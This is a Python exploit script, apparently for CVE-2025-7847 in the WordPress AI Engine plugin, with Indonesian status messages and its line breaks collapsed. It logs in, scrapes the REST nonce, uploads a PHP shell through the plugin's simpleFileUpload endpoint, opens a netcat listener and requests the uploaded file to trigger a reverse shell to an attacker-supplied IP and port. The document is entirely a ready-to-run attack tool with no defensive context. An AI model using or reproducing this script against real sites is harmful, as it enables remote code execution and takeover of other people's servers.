import requests import argparse import os import re import subprocess import threading import time from urllib.parse import urljoin from bs4 import BeautifulSoup requests.packages.urllib3.disable_warnings() def login_and_get_nonce(base_url, username, password): session = requests.Session() login_url = base_url.rstrip('/') + "/wp-login.php" print(f"[*] Opening login page: {login_url}") resp = session.get(login_url, verify=False) print("[LOG] GET /wp-login.php status:", resp.status_code) soup = BeautifulSoup(resp.text, "html.parser") redirect_input = soup.find("input", {"name": "redirect_to"}) redirect_to = redirect_input['value'] if redirect_input else urljoin(base_url, "/wp-admin/") payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': redirect_to, 'testcookie': '1' } print(f"[*] Trying login as: {username}") resp = session.post(login_url, data=payload, verify=False, allow_redirects=True) print("[LOG] POST /wp-login.php status:", resp.status_code) print("[LOG] Final redirected URL:", resp.url) if "/wp-admin" not in resp.url: raise Exception("[-] Login gagal. Periksa username/password atau struktur WordPress.") settings_url = base_url.rstrip("/") + "/wp-admin/" print(f"[*] Accessing settings page to fetch nonce: {settings_url}") resp = session.get(settings_url, verify=False) print("[LOG] GET settings page status:", resp.status_code) match = re.search(r'wpApiSettings\s*=\s*{[^}]*"nonce":"([^"]+)"', resp.text) if not match: raise Exception("[-] Gagal menemukan wpApiSettings.nonce.") nonce = match.group(1) print(f"[+] Nonce ditemukan: {nonce}") cookie_jar = session.cookies.get_dict() cookie_str = "; ".join([f"{k}={v}" for k, v in cookie_jar.items()]) return nonce, cookie_str, session def start_nc_listener(port): print(f"[*] Menjalankan netcat listener di port {port}...\n") try: subprocess.call(['nc', '-lvnp', str(port)]) except FileNotFoundError: print("[!] Netcat tidak ditemukan! Jalankan manual:") print(f" nc -lvnp {port}") def upload_file(base_url, cookie, nonce, file_path, session, attacker_ip, attacker_port): endpoint = base_url.rstrip('/') + "/wp-json/mwai/v1/simpleFileUpload" print(f"[*] Upload endpoint: {endpoint}") if not os.path.isfile(file_path): print(f"[!] File tidak ditemukan: {file_path}") return files = {'file': open(file_path, 'rb')} headers = { 'User-Agent': 'Mozilla/5.0', 'Accept': 'application/json', 'X-WP-Nonce': nonce, 'X-Requested-With': 'XMLHttpRequest', 'Referer': urljoin(base_url, "/wp-admin/admin.php?page=mwai_settings"), 'Origin': base_url } cookies = dict([c.strip().split("=", 1) for c in cookie.split(";") if "=" in c]) print("[*] Sending upload request...") response = session.post(endpoint, headers=headers, cookies=cookies, files=files, verify=False) print("[LOG] POST upload status:", response.status_code) if response.status_code == 200 and 'success' in response.text: json_data = response.json() shell_url = json_data['data']['url'].replace('\\/', '/') print("[+] Exploit berhasil!") print("[-] File diunggah ke:", shell_url) # Mulai listener nc di thread terpisah listener_thread = threading.Thread(target=start_nc_listener, args=(attacker_port,)) listener_thread.start() # Tunggu listener siap time.sleep(2) # Trigger reverse shell print(f"[*] Memicu reverse shell dengan request ke: {shell_url}") try: requests.get(shell_url, verify=False, timeout=5) except requests.exceptions.ReadTimeout: print("[*] Reverse shell triggered (timeout expected if shell hangs)") listener_thread.join() else: print("[!] Upload gagal.") print("[-] Response body:", response.text[:500]) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit AI Engine (CVE-2025-7847) + Reverse Shell Trigger") parser.add_argument('--url', required=True, help='Target base URL (e.g. http://localhost/wordpress)') parser.add_argument('--username', required=True, help='WordPress username') parser.add_argument('--password', required=True, help='WordPress password') parser.add_argument('--file', required=True, help='Path ke shell file (e.g. shell.php)') parser.add_argument('--attacker-ip', default='127.0.0.1', help='IP listener penyerang') parser.add_argument('--attacker-port', type=int, default=4444, help='Port listener penyerang') args = parser.parse_args() try: nonce, cookie_str, session = login_and_get_nonce(args.url, args.username, args.password) upload_file(args.url, cookie_str, nonce, args.file, session, args.attacker_ip, args.attacker_port) except Exception as e: print(str(e))